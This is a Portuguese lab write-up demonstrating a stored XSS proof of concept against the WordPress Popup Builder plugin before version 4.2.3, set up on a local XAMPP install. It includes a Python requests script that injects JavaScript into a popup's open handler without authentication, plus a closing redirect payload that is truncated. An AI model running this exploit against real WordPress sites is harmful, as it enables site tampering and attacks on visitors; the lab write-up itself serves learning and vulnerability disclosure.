
Esta vulnerabilidade exibe uma falha de XSS em um plugin de popup do WordPress, permitindo que atacantes injetem JavaScript malicioso por meio de um XSS armazenado.
Esta vulnerabilidade permite que um atacante explore uma falha de Cross-Site Scripting (XSS) no plugin Popup Builder do WordPress. O plugin não impede que visitantes comuns modifiquem popups existentes e, ao enviar uma requisição especialmente criada para o servidor, o atacante pode injetar scripts maliciosos no popup, que serão executados quando os usuários interagirem com o popup.
Para esta POC, a vulnerabilidade será acionada ao manipular o comportamento de abertura do popup, onde um script simples de alerta será injetado para ser executado quando o popup abrir. Este tipo de ataque pode levar a uma série de problemas, incluindo acesso não autorizado a informações sensíveis e exploração adicional do site afetado, potencialmente comprometendo dados do usuário ou todo o site.
Para esta POC, podemos usar uma máquina Windows 10 e baixar o XAMPP: https://www.apachefriends.org/download.html
Após a instalação, certifique-se de ativar os módulos Apache e MySQL:

O WordPress, como a maioria dos sistemas de gerenciamento de conteúdo, requer um banco de dados para armazenar todos os seus dados essenciais. O banco de dados SQL que criaremos atua como o armazenamento central para todas essas informações.
A versão vulnerável do plugin Popup Builder pode ser baixada do site principal: https://wordpress.org/plugins/popup-builder/advanced/
Escolha uma versão anterior à correção na 4.2.3:

Em seguida, vá para sua página admin do WordPress - http://localhost/wordpress/wp-login.php
Plugins -> Adicionar Novo Plugin -> Enviar Plugin -> Escolha o arquivo .ZIP baixado e instale
Na página WordPress-admin, podemos criar uma página inicial simples indo em Páginas -> Adicionar Nova Página -> Escolher um Padrão.
Para o Popup, vá em Popup Builder -> Adicionar Novo -> Escolher tipo e personalizar.
Para esta POC, selecionei um popup de inscrição, pois é um dos popups mais comuns em sites atualmente.

Na guia Regras de Exibição, você pode anexar o popup à sua página inicial:

Agora, quando entramos em nossa página inicial usando http://localhost/wordpress/
podemos ver nosso popup sendo acionado.
Para executar o exploit, primeiro precisamos identificar o ID do Popup.
Isso pode ser feito navegando até o site, acionando o popup e abrindo a guia Network nas ferramentas do desenvolvedor.
Procure pela requisição admin-ajax.php, um componente central do WordPress usado para tratar requisições AJAX.
O Popup Builder utiliza isso para gerenciar funções como salvar, atualizar, visualizar e controlar popups no WordPress.
Na guia Payload, podemos encontrar o ID do popup:

Após encontrar o ID do Popup, podemos usar o seguinte script para acionar o exploit:
import requests
# Define the target URL for the vulnerable site
url = "http://localhost/wordpress/"
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
data = {
"sgpb-is-preview": "1",
"post_ID": "22", #use the Popup ID we found
"sgpb-type": "html",
"sgpb-WillOpen": "alert('Stored XSS Executed Successfully');" #custom JS code goes here
}
# Send the POST request and output the results
response = requests.post(url, data=data)
print(response.text)
Como podemos editar o popup, também podemos controlar o momento de acionamento do nosso JS personalizado. Se formos para a página WordPress-admin, na configuração do popup podemos ver uma opção "Custom JS or CSS", que controlará o momento do código personalizado:

Podemos então incorporar isso em nosso script de acordo com o uso desejado.
Após acionar o script, podemos ver na página WordPress-admin que uma nova linha foi adicionada à seção de JS personalizado do nosso popup:

Agora, ao entrar no site como um usuário comum, podemos ver a seguinte mensagem sendo exibida:

Também podemos ver que nossa mensagem foi salva no banco de dados SQL (na tabela wp_postmeta por padrão), o que confirma ser um XSS armazenado:

Esta vulnerabilidade de XSS armazenado no plugin Popup Builder permite que o atacante incorpore JavaScript malicioso que pode ser executado sempre que um usuário interagir com o popup infectado. A seguir estão maneiras de explorá-lo maliciosamente:
window.location.href = 'https://facebook.com')